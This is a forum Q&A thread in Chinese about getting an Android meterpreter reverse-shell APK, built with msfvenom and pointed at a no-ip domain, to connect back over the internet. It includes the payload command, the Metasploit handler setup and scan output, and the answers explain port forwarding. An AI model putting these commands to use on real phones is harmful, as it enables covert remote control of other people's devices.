如何在没有路由器的情况下正确建立与远程主机的连接?

如何在没有路由器的情况下正确建立与远程主机的连接?

首先,这是我的第一篇帖子,所以请不要忽略它。您可能以前见过这个问题。在将其标记为重复之前,请了解我的问题。我有很多问题。我将其用于教育目的。

请注意以下事项:

  1. 我没有路由器。
  2. 我已经安装了 Kali 2.0(sana)。
  3. 我使用我的 Android 手机通过 USB 网络共享连接到互联网。

现在,我将解释我所做的事情。

第一的我创建了一个Android payload

msfvenom -p android/meterpreter/reverse_tcp LHOST=xxx.xxx.net LPORT=4444 -o test1.apk

xxx.xxx.net 是我的 no-ip 注册的 dns(用 x 隐藏);然后我成功签名了。

现在,我通过蓝牙将其发送到另一台 Android 设备(因此我的设备的 IP 地址在此过程中没有改变。它也没有连接到 LAN)然后我成功安装了它。

ifconfig:

# ifconfig
eth0      Link encap:Ethernet  HWaddr 78:24:af:bc:a8:a2  
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:1072 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1072 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:87360 (85.3 KiB)  TX bytes:87360 (85.3 KiB)

usb0      Link encap:Ethernet  HWaddr 42:c8:eb:7b:43:a9  
          inet addr:192.168.42.50  Bcast:192.168.42.255  Mask:255.255.255.0
          inet6 addr: fe80::40c8:ebff:fe7b:43a9/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:20535 errors:21 dropped:0 overruns:0 frame:21
          TX packets:23085 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:11073420 (10.5 MiB)  TX bytes:3833297 (3.6 MiB)

然后我打开了终端。

# msfconsole


 _____________

msf > use exploit/multi/handler
msf exploit(handler) 
set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler)
set lhost 192.168.42.50
lhost => 192.168.42.50
msf exploit(handler) 
set lport 4444
lport => 4444
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.42.50:4444 
[*] Starting the payload handler...

一旦我在目标手机上打开该应用程序,metasploit 终端中就不会收到任何信息。

但是同样的方法在局域网上可以正常工作。但是当它连接到互联网时就会失败。我几乎尝试了所有我能尝试的方法,但都无济于事。

我发现本地IP地址的端口是开放的。

# nmap 192.168.42.50

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-03-27 22:53 IST
Nmap scan report for kali (192.168.42.50)
Host is up (0.0000070s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
4444/tcp open  krb524

Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds

但它们在 no-ip 注册的 DNS 中是关闭的。

# nmap xxx.xxx.net

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-03-27 22:55 IST
Nmap scan report for xxx.xxx.net (a.b.c.d)
Host is up (0.22s latency).

rDNS record for a.b.c.d: static-a-b-c-d.ctrls.in

Not shown: 990 closed ports

PORT     STATE    SERVICE

21/tcp   filtered ftp
53/tcp   filtered domain
80/tcp   open     http
111/tcp  open     rpcbind
443/tcp  open     https
445/tcp  filtered microsoft-ds
554/tcp  filtered rtsp
1723/tcp filtered pptp
3306/tcp open     mysql
8022/tcp open     oa-system

Nmap done: 1 IP address (1 host up) scanned in 144.05 seconds

注意:abcd 是我的 DNS 解析的 IP 地址

那么我究竟如何才能建立成功的连接?

如果您认为这个问题与主题无关或者有其他问题,请以某种方式向我提出解决方案。

答案1

你确实有路由器——你的手机。你的手机路线192.168. 地址和互联网地址之间。问题是,你没有在手机上进行端口转发。这很可能是可行的,但并不容易。你可能需要 root 访问权限并使用 iptables。此时你可能想在 android.se 上提问,在那里你可能会得到更好的答案。

注意:这听起来像是一个 XY 问题。这样做的目的是什么?可能有更好的方法来实现你想要的效果。

答案2

好的,让我尝试回答这个问题,但首先我会重申我认为你想要实现的目标,以确保我没有误解。

您有一个装有 Kali Linux 的系统,它可以通过 USB 连接手机访问互联网,该手机提供的 RFC1918(即不可路由互联网)地址为 192.168.42.50。

您正在使用 metasploit 设置 android 反向 shell,指定您的互联网可路由地址

然后使用exploit/multi/handler监听本地不可路由地址上的端口4444。

问题是,虽然您可以看到您的端口在本地 LAN 上监听,但是在有效载荷传送时您无法从连接 Internet 的设备上看到它。

对互联网可路由地址进行端口扫描显示没有开放端口。

--

假设所有一切都正确,那么问题在于您尚未配置从 Internet 地址到本地 metasploit 实例的“端口转发”。

通常这样做的方式是,您可以控制其某个接口上具有 Internet 地址的设备,然后告诉它将端口 4444/TCP 从该接口转发到 192.168.42.50 上的内部系统。

如果您可以设置它,那么您所描述的应该可以工作。如果您无权创建“端口转发”,那么您所描述的将不起作用,因为在互联网上运行漏洞的目标没有任何可连接的东西。

相关内容